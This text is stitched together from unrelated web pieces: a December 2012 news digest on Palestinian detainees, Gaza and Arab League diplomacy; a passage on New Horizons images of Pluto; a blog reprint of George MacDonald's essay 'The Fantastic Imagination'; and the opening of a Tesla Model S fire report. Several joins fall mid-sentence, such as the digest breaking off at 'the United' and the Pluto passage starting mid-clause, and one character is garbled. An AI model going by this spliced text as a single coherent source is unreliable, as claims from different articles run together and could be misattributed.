Ma’mun has now been indicted with three “offences”: assaulting a soldier, assaulting a settler, and an indictment from two months ago which was the same assault of both a soldier and a settler. All together, the prosecution has 13 witnesses against Ma’mun. Ma’mun’s lawyer has therefore asked for some time to study the case. The next hearing is scheduled for January 17, but this is still subject to change.
http://palsolidarity.org/2012/12/palestinian-facing-charges-after-settler-violence-in-madama/
Three children sentenced to 4 months each
IMEMC 29 Dec –… Lawyer Mustafa Azmouti told the Center that that Salem court sentenced Qais Waddah Shbeita, 16, Mohammad Adel Shbeita, 16, and Mohammad Abdul-Fattah Radwan, 15, to four months each. They were all kidnapped after the army broke into their homes in Azzoun on December 7, and are currently held at the Majeddo prison.
In related news, the Salem court postponed deliberations in the case of a detained child identified as Ihsaan Ayman Aabed, 14, until December 30 after ordering a psychological assessment, but refused to release him. The court released his brother Osama, 13, after ordering his family to pay a NIS 3000 fine. The two brothers were kidnapped by the army, on December 13, while in their family’s orchard, close to the Annexation Wall.
http://www.imemc.org/article/64798
One released; 12 MPs remain in Israeli jails
PNN — On Friday 28th December, Palestinian researcher, specialized in detainees’ affairs, Abdul Nasser Farawna said that Israeli occupation authorities released yesterday, the member of the Palestinian Legislative Council Mohammed Jamal (MP) Mohammad Jamal al-Natsheh after serving 23 months in administrative detention. The number of the detained MPs in Israeli jails has been reduced to 12 deputies … Farawna noted that among the MPs detained in Israeli jails; nine are affiliated with Hamas movement, the deputy Ahmad Sa’dat is the General-Secretary of the Popular Front, and two other deputies Marwan al-Barghouti and Jamal al-Terawe are affiliated with Fatah.
http://english.pnn.ps/index.php/prisoners/3475-12-mps-remain-in-israeli-jails-one-released
A sit-in calling for ending Arab silence toward prisoners’ issue
Gaza, (Alresalah.ps) 29 Dec — Dozens of citizens protested in front of the Muqataa in Ramallah on Saturday afternoon, at the moment of the arrival of Secretary-General of the Arab League Nabil al-Araby and Egypt’s Foreign Minister Mahmoud Kamel. The protesters said they aim to send a message to the authority of Ramallah and the Arab League stressing the need to support the hunger striking prisoners, especially Samer al-Issawi and Ayman Sharawna, as they are an integral part of the Palestinian cause. They held Egypt responsible for the prisoners’ conditions, being the sponsor of the prisoners’ exchange deal and the party responsible for the protection of the ex-detainees who have been re-arrested. One of the protesters denounced the silence and inaction by the Arab League and PA’s leadership toward the issue of the prisoners, and said “PA must form a Palestinian delegation to go to Egypt, in order to find a solution to the captives’ issue.”
http://www.alresalah.ps/en/index.php?act=post&id=1536
Group: Prisoner’s fingers severed in Israeli jail
RAMALLAH (Ma‘an) 29 Dec — A Palestinian jailed by Israel has filed a complaint after his fingers were severed during a cell inspection, he told a prisoners group on Saturday. Khalid Muhammad Ahmad Khalawi, 30, told the prisoners association that he was trying to open a door in Rimon jail to allow a guard entry, when the prison official shoved the door back on his hand, severing the top of his index and middle fingers. Khalawi’s fingers were later reattached by prison doctors, but the prisoner complained he waited five hours before treatment.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551830
UK-based Arab HR group accuses PA of abuse
LONDON (JPost) 30 Dec — From 2007-2011, the PA detained 13,271 Palestinians, and tortured 96% of them resulting in six deaths, report says — An Arab human rights group based in London accused the Palestinian Authority of inhumane practices and human rights violations against Palestinian civilians in a scathing report published on Friday. The Arab Organization for Human Rights has put the primary blame for the human rights abuses on PA President Mahmoud Abbas and called on the UN, Arab League and Organization of Islamic Cooperation to take urgent action … “It is staggering that the PA should, in the shadow of the Arab Spring, cultivate its own system of impunity, in total defiance of its people’s demands for freedom and dignity. They seem to be oblivious of the factors which led to the downfall of the tyrannical regimes across the region. There is absolutely no justification for its acceptance of becoming a subcontracted security instrument of the Israeli occupation, crushing at every opportunity the legitimate aspirations of their people for freedom and self-determination.”
http://www.jpost.com/MiddleEast/Article.aspx?ID=297746&R=R1
Gaza
Egypt officials: Qatar building materials enter Gaza
ISMAILIA, Egypt (Reuters) 29 Dec — Egypt allowed building materials into Gaza via the Rafah crossing on Saturday for the first time since Hamas seized control of the Palestinian enclave in 2007, an Egyptian border official said. It was part of a shipment of building materials donated by the Gulf Arab state of Qatar, which has pledged $400 million to finance reconstruction in Gaza … The border official, speaking on condition of anonymity, said that while the Egyptian authorities had agreed to allow the Qatari-donated material into Gaza, the shipment did not mark the start of the full opening of the crossing sought by Hamas … Cairo has long feared that opening Rafah fully might prompt Israel to close permanently the other crossings with Gaza, which it captured from Egypt in the 1967 Middle East war.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551955
Japan donates $2 million to UNRWA
BETHLEHEM (Ma‘an) 28 Dec — Japan has donated $2 million to the United Nations agency for Palestinian refugees, a statement from UNRWA said Thursday. The donation will go towards emergency bedding materials and hygiene kits for adults and babies in the Gaza Strip. It will also help provide non-food items to assist UNRWA in combating the effects of Israel’s recent war on Gaza, which killed at least 170 Palestinians. In 2012, Japan donated $22.5 million to the UN agency.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551679
Israeli Racism / Discrimination
‘Arab’ Balad party election video has Lieberman singing Hatikva Arab-style
posted 27 Dec — Video uses humor against proposed laws by nationalistic Jewish Israeli politicians — like requirement (to obtain an identity card) of allegiance to state symbols (flag and the Israeli national anthem) that ‘do not represent us, but cancel our existence!‘
http://www.youtube.com/watch?feature=player_embedded&v=YzyRr9K8m1Y
IKEA attempts to dodge responsibility for Israeli stores’ discriminatory delivery practices
EI 28 Dec by Adri Nieuwhof — Ikea shows no intention of ending delivery of its products to Israel’s illegal settlement colonies in the West Bank, a 10 December letter from the furniture giant shows. For years, Ikea has been facilitating the delivery of products from its Israeli stores to residents of Israel’s illegal settlements in the occupied West Bank. Ikea has been informed several times that facilitation of such transport services boils down to complicity with Israel’s settlement colony enterprise. Ikea was asked by the London-based Business & Human Rights Resource Centre to respond to the fact that Ikea in Israel’s transport company, Moviley Dror, delivers to Israeli settlements but refuses to deliver products to Palestinian population centers in the occupied West Bank, as I reported on my Electronic Intifada blog last month. In its response (which can be downloaded fromt the Business & Human Rights Resource Centre website), Ikea attempts to evade responsibility for this blatant discrimination and normalization of an illegal situation and fails to address its delivery to Israel’s West Bank settlements.
http://electronicintifada.net/blogs/adri-nieuwhof/ikea-attempts-dodge-responsibility-israel-stores-discriminatory-delivery
Palestinians in Syria
4 Palestinians killed in Syria refugee camp
BETHLEHEM (Ma’an) 28 Dec — Four Palestinians were killed on Thursday when Syrian forces shelled a Damascus refugee camp, sources told Ma‘an. Over 15 shells were fired by Syria’s military at Yarmouk refugee camp since Thursday morning, with four Palestinian family members killed in the attacks, sources in Syria said. Ahmad Salameh, Loai Salameh, Muhammad Awad Salameh and Ali Awad Salameh were named by locals as those killed. The latest attack is the first of its kind since Syrian fighter jets rocketed the Palestinian Yarmouk camp in Damascus on Dec. 16, killing at least 25 people sheltering in a mosque and prompting over 95 percent of the camp’s residents to flee.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551684
Gaza man killed in Syria was ‘Qassam commander’
BETHLEHEM (Ma‘an) 29 Dec — A Palestinian man who was killed in Syria on Friday was a senior figure in Hamas’ armed wing, rebels and Hamas officials said Saturday. Muhammad Qunneita, 31, from Shati refugee camp in the Gaza Strip, had been in Syria for four months, his brother told Ma‘an. Rebels told Reuters on Saturday Qunneita was killed in fighting around Aleppo airport where he had been helping to train Arab and Muslim fighters.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551941
Political developments
Fatah to celebrate 48th anniversary in Gaza on Jan. 4
BETHLEHEM (Ma‘an) 29 Dec — Fatah will hold its 48th anniversary celebrations in Gaza on January 4, a PLO official said Saturday. Nabil Shaath told Ma‘an that celebrations will take place in al-Saraya square in Gaza City after Friday prayers. Preparations are in full swing, with bulldozers leveling the ground and technical teams setting up a large stage, Shaath said. Fatah will take full responsibility for the event, including security arrangements, he added. Hamas officials will deliver a speech at the festival and representatives from all Palestinian factions will attend.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551987
Gaza ministry releases 6 Fatah detainees
GAZA CITY (Ma‘an) 28 Dec — Gaza’s interior ministry released 26 prisoners on Thursday, including 6 detainees affiliated with Fatah, an official said. Kamal Abu Madi, an official from the ministry, said in a press conference that the release of Fatah prisoners was a gesture to create a positive environment for national reconciliation.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551690
Arab League chief calls last 20 years of Israeli-Palestinian peace negotiations ‘waste of time’
Reuters/DPA 29 Dec — …”Our next move in agreement with the Palestinians and with full support from the Arab countries and the European Union is to change the current formula (for the peace process),” he added. “We cannot continue with the methods of the last 20 years. It was a waste of time.” According to al-Arabi, the Middle East conflict should be taken back to the United Nations Security Council after consulting with all parties, including the United States, “to discuss and agree on a new approach to this issue with a goal to end the conflict and not just to manage it.”
http://www.haaretz.com/news/diplomacy-defense/arab-league-chief-calls-last-20-years-of-israeli-palestinian-peace-negotiations-waste-of-time-1.490685
Arab League chief says to work on PA ‘safety net’
RAMALLAH (Ma‘an) 29 Dec — The head of the Arab League said on a rare visit to the West Bank on Saturday that he was still working on securing pledged funds from Arab states to the beleaguered Palestinian Authority … “Arab countries agreed at their Baghdad summit (in March) for an Arab safety net of $100 million dollars each month, but unfortunately none of this has been achieved yet,” he said. Al-Arabi said he had agreed in a meeting with President Mahmoud Abbas certain steps to work out a solution to this problem, without elaborating. The leaders also discussed Abbas’ next political steps, which are supported by the Arab League as well as Europe, he said.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551949
PA official: US pressuring Arab FMs not to visit
JPost 29 Dec — Arab League Secretary-General visits Ramallah for the first time while four foreign ministers cancel visit at last minute — Palestinian officials in Ramallah on Saturday accused the US of putting pressure on Arab foreign ministers not to visit Ramallah. The accusation came as Arab League Secretary- General Nabil Elaraby arrived in Ramallah for talks with Palestinian Authority President Mahmoud Abbas. Egyptian Foreign Minister Mohamed Amru was the only minister to accompany the Arab League chief on his visit to Ramallah. PLO Executive member Wasel Abu Yusef told reporters that the US administration was behind the cancellation of the four Arab ministers’ visit to the West Bank. “The Americans prevented the Arab foreign ministers from visiting Ramallah,” Abu Yusef charged. Some of the ministers who called off their visit claimed that they did not want to pass through IDF checkpoints on their way to Ramallah. But Elaraby and the Egyptian foreign minister arrived in the city aboard a Jordanian helicopter, which landed in the Mukata presidential compound.
http://www.jpost.com/MiddleEast/Article.aspx?ID=297712&R=R1
Israel has reduced security links, says Palestinian leader
RAMALLAH (Gulf Today) 28 Dec — Palestinian President Mahmoud Abbas has claimed that Israel has reduced its security co-operation with Palestinians in the West Bank after the successful bid for upgraded status at the United Nations.
Israel’s military denied the charge, saying security co-operation continues. Abbas said in an interview published on Friday that Israeli soldiers have started entering West Bank cities without Palestinian co-ordination. He spoke in a meeting with a dovish Israeli lawmaker and Israel’s daily ‘Haaretz.’ An Abbas aide, Tayeb Abdel Rahim, said Israel’s army detained 200 Palestinian officers in recent months, mostly for short interrogations. Israeli defence officials responded that soldiers enter Palestinian cities only when they think Palestinians are not providing enough support. They spoke anonymously in line with government regulations.
Israel earlier suggested the possibility of reducing security co-operation in retaliation for the Palestinian UN campaign.
http://gulftoday.ae/portal/74a5d50e-583b-436a-ac10-d9604360231a.aspx
Israeli-Palestinian talks only after Abbas goes: Lieberman
JERUSALEM (Daily Star) 28 Dec — The head of Israel’s ultra-nationalist Yisrael Beitenu party, ex-foreign minister Avigdor Lieberman, lashed out Friday against Palestinian president Mahmud Abbas, saying new peace talks would be possible only if he leaves office. “Only after his disappearance from the leadership of the Palestinian Authority will it be possible to renew the diplomatic process,” Haaretz daily’s website quoted him as saying in a statement. Lieberman’s comments came a day after Abbas told the paper he would disband his West Bank administration if there was no Israeli movement towards renewing peace talks after the general election on January 22.
http://www.dailystar.com.lb/News/Middle-East/2012/Dec-28/200204-abbas-israel-reduced-security-cooperation.ashx
Israel bulks up its Syrian border to prepare for Assad’s fall
Al Bawaba 27 Dec — Israel is bulking up its defences along its border with Syria in order to prepare for the fall of Syrian President Bashar al-Assad, the Australian Associated Press (AAP) reported on Thursday. The Jewish state plans to add cameras and trenches to the barrier along with strengthening the existing fence along the 90 kilometres of border between the two countries … Construction on the barrier began around a year ago but according to recent reports, Israel has now significantly increased the rate of improvements.
http://www.albawaba.com/news/israel-syria-border-459596
Israeli PM meets Jordan king on Syria: media
OCCUPIED JERUSALEM (Daily Star) 28 Dec — Prime Minister Benjamin Netanyahu has held talks with Jordan’s King Abdullah II in Amman on the violence in Syria and the country’s chemical weapons stock, Israeli media said Thursday. Public radio and several local newspapers said Israeli and Jordanian officials had confirmed the meeting, which was first reported in Al-Quds al-Arabi newspaper Wednesday. A spokesman for Netanyahu declined to comment on the reports.
http://www.dailystar.com.lb/News/Middle-East/2012/Dec-28/200121-israeli-pm-meets-jordan-king-on-syria-media.ashx
Other news
13-year-old Palestinian girl, Ah’d Tamimi, wins Hanzala award for courage
[photos] 28 Dec — Dear friends, Ah’d [‘Ahd, Ahed] Tamimi, the daughter of my friends Bassem and Nariman Tamimi from the village of Nabi Saleh has just awarded the Hanzala [Handala] Courage Award in Turkey. Many of you will have seen photos of Ah’d and other children from Nabi Saleh regularly challenging Israeli occupation forces who invade the village and terrorise the residents on a regular basis … Please find below, a news article from Time’s Turkish online magazine about A’hd’s award.
http://livefromoccupiedpalestine.blogspot.com/2012/12/13-year-old-palestinian-girl-ahd-tamimi.html
Peace group funds football club in Hebron’s Old City
HEBRON (Ma’an) 29 Dec — The Temporary International Presence in the City of Hebron is establishing a football club for young men who live in an area of Hebron’s old city affected by Israel’s military occupation … The initiative is seen by locals as a good opportunity to relieve the political and psychological pressures young people face when their lives are controlled by Israeli military procedures in order to protect a small group of Jewish settlers living nearby. The Wadi al-Hussein neighborhood is located in a seam zone connecting Kiryat Arba settlement with the H2 area of Hebron’s old city. The area is controlled by Israeli military forces who are stationed there to protect settlers.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551970
PA health ministry: Swine flu death toll reaches 9
BETHLEHEM (Ma‘an) 29 Dec — Nine people have died in the West Bank after contracting swine flu with 187 cases of the H1N1 virus recorded, the Palestinian Authority Health Ministry said Saturday.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551930
Report: Israeli leaders reiterate Arafat AIDS claims
BETHLEHEM (Ma‘an) 29 Dec — Israeli officials on Friday reiterated claims that late President Yasser Arafat died from AIDS, as a probe into suspected poisoning of the Palestinian leader got underway. Arafat led the bid for a Palestinian state through years of war and peacemaking, then died in a French hospital aged 75 after a short, mysterious illness in 2004.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551769
Forbes ranks Ma‘an most popular Palestinian news-site
BETHLEHEM (Ma‘an) 28 Dec — Ma‘an News Agency is the 24th most popular news website in the Arab world and number one in Palestine, according to a new study published Thursday by Forbes Middle East … with a total of 47 million visitors over the one year study period … allegations of foul play surfaced immediately, and many Palestinians pointed the finger at Israel, which confined Arafat to his headquarters in Ramallah for the final two and a half years of his life after a Palestinian uprising erupted…
Yossi Kuperwasser, director-general of Israel’s ministry of strategic affairs and a former military intelligence officer, told Maariv newspaper on Friday that he believes Arafat became infected with HIV when his plane crashed in the Libyan desert … Israeli minister Avi Dichter told the Maariv newspaper that the blame for Arafat’s death lies with Hamas “because Hamas and other Palestinian factions were interested in the murder of Arafat.”
http://www.maannews.net/eng/ViewDetails.aspx?ID=551686
Analysis / Opinion
Haaretz editorial: The Zuabi test
30 Dec — …There is no fine or vague line between terror and expressing an opinion that opposes the occupation or identifies with the Palestinians. The gap between the two is wide and deep. One can assume that if the attorney general believed that Zuabi had committed a crime against the state by being on the Mavi Marmara during the May 2010 flotilla that attempted to break the blockade on Gaza, he wouldn’t have closed the case against her. That decision by Weinstein should have been sufficient for the Central Elections Committee. But we’re not dealing with rules of evidence or the definition of terror; what we’re dealing with is a political crusade against all the Arab political parties.
http://www.haaretz.com/opinion/the-zuabi-test-1.490738
Israel gets a kick(back) out of conflict / Charlotte Silver
Al Jazeera 25 Dec — Israel’s image as “an isolated, besieged country” is good for its weapons and homeland security exports — 2012 did not turn out to be Israel’s finest year, diplomatically: from being called out for its war-mongering against Iran to its defeat (however symbolic) at the United Nations General Assembly’s vote on Palestine’s bid for statehood. But that didn’t stop its homeland security industry from coming out ahead in the global market. As Shimon Peres put it during the International Homeland Security Conference held in Tel Aviv on the eve of Israel’s November attack on the Gaza Strip, “When it comes to science there are no borders.” Peres was speaking at an event intended to showcase Israel’s latest homeland security wares to the world, so “science” was his shrewd euphemism for security and surveillance technology – the kind of technology that not only helps to break down political borders but personal ones, too. Israel is in the process of developing its national biometric database, which political economist Shir Hever described to me as, “One of the harshest biometric surveillance systems in the world”, and civil liberties groups have described as creating dangerous infringements on individual privacy.
http://www.aljazeera.com/indepth/opinion/2012/12/20121224133753129619.html
How the New York Times erases Israel’s crimes / Robert Ross
EI 29 Dec — According to The New York Times, there is no siege of Gaza, no occupation of the West Bank, and never was there a Nakba (the 1948 ethnic cleansing of Palestine). Three recent articles erase these key Israeli crimes from the historical record.In a 13 December 2012 article entitled “Hamas Gains Allure in Gaza, but Money is a Problem,” Steven Erlanger explores the reasons for Gaza’s increasingly debilitating poverty. Never once in this 1,300-word piece does Erlanger even mention the Israeli siege on Gaza or the 2008 and 2012 Israeli bombardments as factors (much less the principal causes). Instead, Erlanger goes through a long list of regional developments (the weakening of the Assad regime in Syria, sanctions on Iran) and, most emphatically, decisions by Hamas (new taxes and fees), which have supposedly left Palestinians in Gaza not only increasingly impoverished but also more resentful than ever of Hamas.
http://electronicintifada.net/content/how-new-york-times-erases-israels-crimes/12042
US complicity in Israel’s deadly actions in Gaza / Josh Ruebner
Huff. Post 27 Dec — On November 18, an Israeli air force pilot flying a U.S.-made F-16 fighter jet fired a missile at the four-story home of the al-Dalu family in Gaza City, killing ten members of the family and two from the al-Muzannar family next door. An on-site investigation conducted by Human Rights Watch concluded that the attack was a “clear violation of the laws of war” and demanded that those “responsible for deliberately or recklessly committing a serious violation of the laws of war should be prosecuted for war crimes.” … Two weeks ago, on International Human Rights Day, Secretary of State Hillary Clinton stated that the United |
is reflected in the quality of this and the images that follow below, which are about five times better than the best images of Triton we received from Voyager 2 back in 1989. And principal investigator Alan Stern has made the point that when we were first exploring Mars and Venus, it took decades to develop the ability to see with this level of detail. Our instrumentation has come a long way, and so has this one-shot flyby mission, which has demonstrated how much can be done even when an orbiter is not available.
As to that view that reminds me of the Niven tale, New Horizons team member John Spencer describes it well:
“The mountains bordering Sputnik Planum are absolutely stunning at this resolution. The new details revealed here, particularly the crumpled ridges in the rubbly material surrounding several of the mountains, reinforce our earlier impression that the mountains are huge ice blocks that have been jostled and tumbled and somehow transported to their present locations.”
Two other recently released images follow. With New Horizons now 167 million kilometers beyond Pluto and 5.2 billion kilometers from the Earth, all systems remain operational and we can expect still more imagery from this data set over the next few days.
Image: Notice the layering in the interior walls of many craters (the large crater at upper right is a good example) – layers in geology usually mean an important change in composition or event but at the moment New Horizons team members do not know if they are seeing local, regional or global layering. The darker crater in the lower center is apparently younger than the others, because dark material ejected from within – its “ejecta blanket” – have not been erased and can still be made out. The origin of the many dark linear features trending roughly vertically in the bottom half of the image is under debate, but may be tectonic. Most of the craters seen here lie within the 250-kilometer-wide Burney Basin, whose outer rim or ring forms the line of hills or low mountains at bottom. The basin is informally named after Venetia Burney, the English schoolgirl who first proposed the name “Pluto” for the newly discovered planet in 1930. Credit: NASA/Johns Hopkins University Applied Physics Laboratory/Southwest Research Institute.
Image: This image shows how erosion and faulting has sculpted this portion of Pluto’s icy crust into rugged badlands. The prominent 2-kilometer-high cliff at the top, running from left to upper right, is part of a great canyon system that stretches for hundreds of kilometers across Pluto’s northern hemisphere. New Horizons team members think that the mountains in the middle are made of water ice, but have been modified by the movement of nitrogen or other exotic ice glaciers over long periods of time, resulting in a muted landscape of rounded peaks and intervening sets of short ridges. At the bottom of this 80-kilometer-wide image, the terrain transforms dramatically into a fractured and finely broken up floor at the northwest margin of the giant ice plain informally called Sputnik Planum. Credit: NASA/Johns Hopkins University Applied Physics Laboratory/Southwest Research Institute.Today’s dead guest post is “The Fantastic Imagination.” In this piece, George MacDonald shows how the point of fantasy and science fiction is to change the physical laws of our world so that the spiritual — or moral or ethical — laws behind all worlds come to a sharper point. It’s one of my favorite pieces on the genre, up there with Tolkien’s On Fairy Tales ::
The Fantastic Imagination
by
George MacDonald
Introduction from The Light Princess and other Fairy Tales, also reprinted in a Dish of Orts.
That we have in English no word corresponding to the German MÃrchen, drives us to use the word Fairytale, regardless of the fact that the tale may have nothing to do with any sort of fairy. The old use of the word Fairy, by Spenser at least, might, however, well be adduced, were justification or excuse necessary where need must.
Were I asked, what is a fairytale? I should reply, Read Undine: that is a fairytale; then read this and that as well, and you will see what is a fairytale. Were I further begged to describe the fairytale, or define what it is, I would make answer, that I should as soon think of describing the abstract human face, or stating what must go to constitute a human being. A fairytale is just a fairytale, as a face is just a face; and of all fairytales I know, I think Undine the most beautiful.
Many a man, however, who would not attempt to define a man, might venture to say something as to what a man ought to be: even so much I will not in this place venture with regard to the fairytale, for my long past work in that kind might but poorly instance or illustrate my now more matured judgment. I will but say some things helpful to the reading, in right-minded fashion, of such fairytales as I would wish to write, or care to read.
Some thinkers would feel sorely hampered if at liberty to use no forms but such as existed in nature, or to invent nothing save in accordance with the laws of the world of the senses; but it must not therefore be imagined that they desire escape from the region of law. Nothing lawless can show the least reason why it should exist, or could at best have more than an appearance of life.
The natural world has its laws, and no man must interfere with them in the way of presentment any more than in the way of use; but they themselves may suggest laws of other kinds, and man may, if he pleases, invent a little world of his own, with its own laws; for there is that in him which delights in calling up new forms–which is the nearest, perhaps, he can come to creation. When such forms are new embodiments of old truths, we call them products of the Imagination; when they are mere inventions, however lovely, I should call them the work of the Fancy: in either case, Law has been diligently at work.
His world once invented, the highest law that comes next into play is, that there shall be harmony between the laws by which the new world has begun to exist; and in the process of his creation, the inventor must hold by those laws. The moment he forgets one of them, he makes the story, by its own postulates, incredible. To be able to live a moment in an imagined world, we must see the laws of its existence obeyed. Those broken, we fall out of it. The imagination in us, whose exercise is essential to the most temporary submission to the imagination of another, immediately, with the disappearance of Law, ceases to act. Suppose the gracious creatures of some childlike region of Fairyland talking either cockney or Gascon! Would not the tale, however lovelily begun, sink once to the level of the Burlesque–of all forms of literature the least worthy? A man’s inventions may be stupid or clever, but if he does not hold by the laws of them, or if he makes one law jar with another, he contradicts himself as an inventor, he is no artist. He does not rightly consort his instruments, or he tunes them in different keys. The mind of man is the product of live Law; it thinks by law, it dwells in the midst of law, it gathers from law its growth; with law, therefore, can it alone work to any result. Inharmonious, unconsorting ideas will come to a man, but if he try to use one of such, his work will grow dull, and he will drop it from mere lack of interest. Law is the soil in which alone beauty will grow; beauty is the only stuff in which Truth can be clothed; and you may, if you will, call Imagination the tailor that cuts her garments to fit her, and Fancy his journeyman that puts the pieces of them together, or perhaps at most embroiders their button-holes. Obeying law, the maker works like his creator; not obeying law, he is such a fool as heaps a pile of stones and calls it a church.
In the moral world it is different: there a man may clothe in new forms, and for this employ his imagination freely, but he must invent nothing. He may not, for any purpose, turn its laws upside down. He must not meddle with the relations of live souls. The laws of the spirit of man must hold, alike in this world and in any world he may invent. It were no offence to suppose a world in which everything repelled instead of attracted the things around it; it would be wicked to write a tale representing a man it called good as always doing bad things, or a man it called bad as always doing good things: the notion itself is absolutely lawless. In physical things a man may invent; in moral things he must obey–and take their laws with him into his invented world as well.
“You write as if a fairytale were a thing of importance: must it have meaning?”
It cannot help having some meaning; if it have proportion and harmony it has vitality, and vitality is truth. The beauty may be plainer in it than the truth, but without the truth the beauty could not be, and the fairytale would give no delight. Everyone, however, who feels the story, will read its meaning after his own nature and development: one man will read one meaning in it, another will read another.
“If so, how am I to assure myself that I am not reading my own meaning into it, but yours out of it?”
Why should you be so assured? It may be better that you should read your meaning into it. That may be a higher operation of your intellect than the mere reading of mine out of it: your meaning may be superior to mine.
“Suppose my child ask me what the fairytale means, what am I to say?”
If you do not know what it means, what is easier than to say so? If you do see a meaning in it, there it is for you to give him. A genuine work of art must mean many things; the truer its art, the more things it will mean. If my drawing, on the other hand, is so far from being a work of art that it needs THIS IS A HORSE written under it, what can it matter that neither you nor your child should know what it means? It is there not so much to convey a meaning as to wake a meaning. If it do not even wake an interest, throw it aside. A meaning may be there, but it is not for you. If, again, you do not know a horse when you see it, the name written under it will not serve you much. At all events, the business of the painter is not to teach zoology.
But indeed your children are not likely to trouble you about the meaning. They find what they are capable of finding, and more would be too much. For my part, I do not write for children, but for the childlike, whether of five, or fifty, or seventy-five.
A fairytale is not an allegory. There may be allegory in it, but it not an allegory. He must be an artist indeed who can, in any mode, produce a strict allegory that is not a weariness to the spirit. An allegory must be Mastery or Moorditch.
A fairytale, like a butterfly or a bee, helps itself on all sides, sips every wholesome flower, and spoils not one. The true fairytale is, to my mind, very like the sonata. We all know that a sonata means something; and where there is the faculty of talking with suitable vagueness, and choosing metaphor sufficiently loose, mind may approach mind, in the interpretation of a sonata, with the result of a more or less contenting consciousness of sympathy. But if two or three men sat down to write each what the sonata meant to him, what approximation to definite idea would be the result? Little enough–and that little more than needful. We should find it had roused related, if not identical, feelings, but probably not one common thought. Has the sonata therefore failed? Had it undertaken to convey, or ought it to be expected to impart anything defined, anything notionally recognisable?
“But words are not music; words at least are meant and fitted to carry a precise meaning!”
It is very seldom indeed that they carry the exact meaning of any user of them! And if they can be so used as to convey definite meaning, it does not follow that they ought never to carry anything else. Words are live things that may be variously employed to various ends. They can convey a scientific fact, or throw a shadow of her child’s dream on the heart of a mother. They are things to put together like the pieces of dissected map, or to arrange like the notes on a stave. Is the music in them to go for nothing? It can hardly help the definiteness of a meaning: is it therefore to be disregarded? They have length, and breadth, and outline: have they nothing to do with depth? Have they only to describe, never to impress? Has nothing any claim to their use but definite? The cause of a child’s tears may be altogether undefinable: has the mother therefore no antidote for his vague misery? That may be strong in colour which has no evident outline. A fairtytale, a sonata, a gathering storm, a limitless night, seizes you and sweeps you away: do you begin at once to wrestle with it and ask whence its power over you, whither it is carrying you? The law of each is in the mind of its composer; that law makes one man feel this way, another man feel that way. To one the sonata is a world of odour and beauty, to another of soothing only and sweetness. To one, the cloudy rendezvous is a wild dance, with a terror at its heart; to another, a majestic march of heavenly hosts, with Truth in their centre pointing their course, but as yet restraining her voice. The greatest forces lie in the region of the uncomprehended.
I will go farther.–The best thing you can do for your fellow, next to rousing his conscience, is–not to give him things to think about, but to wake things up that are in him; or say, to make him think things for himself. The best Nature does for us is to work in us such moods in which thoughts of high import arise. Does any aspect of Nature wake but one thought? Does she ever suggest only one definite thing? Does she make any two men in the same place at the same moment think the same thing? Is she therefore a failure, because she is not definite? Is it nothing that she rouses the something deeper than the understanding–the power that underlies thoughts? Does she not set feeling, and so thinking at work? Would it be better that she did this after one fashion and not after many fashions? Nature is mood-engendering, thought-provoking: such ought the sonata, such ought the fairytale to be.
“But a man may then imagine in your work what he pleases, what you never meant!”
Not what he pleases, but what he can. If he be not a true man, he will draw evil out of the best; we need not mind how he treats any work of art! If he be a true man, he will imagine true things; what matter whether I meant them or not? They are there none the less that I cannot claim putting them there! One difference between God’s work and man’s is, that, while God’s work cannot mean more than he meant, man’s must mean more than he meant. For in everything that God has made, there is a layer upon layer of ascending significance; also he expresses the same thought in higher and higher kinds of that thought: it is God’s things, his embodied thoughts, which alone a man has to use, modified and adapted to his own purposes, for the expression of his thoughts; therefore he cannot help his words and figures falling into such combinations in the mind of another as he had himself not foreseen, so many are the thoughts allied to every other thought, so many are the relations involved in every figure, so many the facts hinted in every symbol. A man may well himself discover truth in what he wrote; for he was dealing all the time things that came from thoughts beyond his own.
“But surely you would explain your idea to one who asked you?”
I say again, if I cannot draw a horse, I will not write THIS IS A HORSE under what I foolishly meant for one. Any key to a work of imagination would be nearly, if not quite, as absurd. The tale is there not to hide, but to show: if it show nothing at your window, do not open your door to it; leave it out in the cold. To ask me to explain, is to say, “Roses! Boil them, or we won’t have them!” My tales may not be roses but I will not boil them.
So long as I think my dog can bark, I will not sit up to bark for him.
If a writer’s aim be logical conviction, he must spare no logical pains, not merely to be understood, but to escape being misunderstood; where his object is to move by suggestion, to cause to imagine, then let him assail the soul of his reader as the wind assails an aeolian harp. If there be music in my reader, I would gladly wake it. Let fairytale of mine go for a firefly that now flashes, now is dark, but may flash again. Caught in a hand which does not love its kind, it will turn to an insignificant ugly thing, that can neither flash nor fly.
The best way with music, I imagine, is not to bring the forces of our intellect to bear upon it, but to be still and let it work on that part of us for whose sake it exists. We spoil countless precious things by intellectual greed. He who will be a man, and will not be a child, must–he cannot help himself–become a little man, that is, a dwarf. He will, however need no consolation, for he is sure to think himself a very large creature indeed.
If any strain of my “broken music” make a child’s eyes flash, or his mother’s grow for a moment dim, my labour will not have been in vain.
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cover image by Bea Represa
Like this: Like Loading...Last month, we reported on a Tesla Model S catching on fire during a test drive event in France. All 3 occupants, a couple that was test driving the car and a Tesla employee, were able to exit in time thanks to the vehicle sending out an alert warning them of a problem.
At the time, it wasn’t clear what was the problem in question, but Tesla quickly launched an investigation and now they think they found the issue.
According to witnesses, the Model S melted down and was completely destroyed within 5 minutes, which could have complicated the 3-week long investigation. Nonetheless, the automaker seems to have found the issue.
Tesla says that the Model S used for the test drive, a 2016 Model S 90D, had “bolted electrical connection” that were manually tightened by a human instead of by robots. The company points to one of those “bolted electrical connections” as being “improperly tightened” which caused the fire.
Charles Delaville, Tesla’s communication manager in France, told Fox News:
“Usually, these electrical connections are installed by a robot, but for this car this connection was installed manually. There has never been a similar incident in another one of our cars,”
Indeed, that’s what is interesting about this incident. While Tesla vehicles have gone up in flames before (though no more than its gas-powered counterparts), it was almost always after some severe accident with the exception of a Model S fire while charging in Norway.
We are talking about accidents like the one Tesla described after introducing an underbody shield to protect the battery pack:
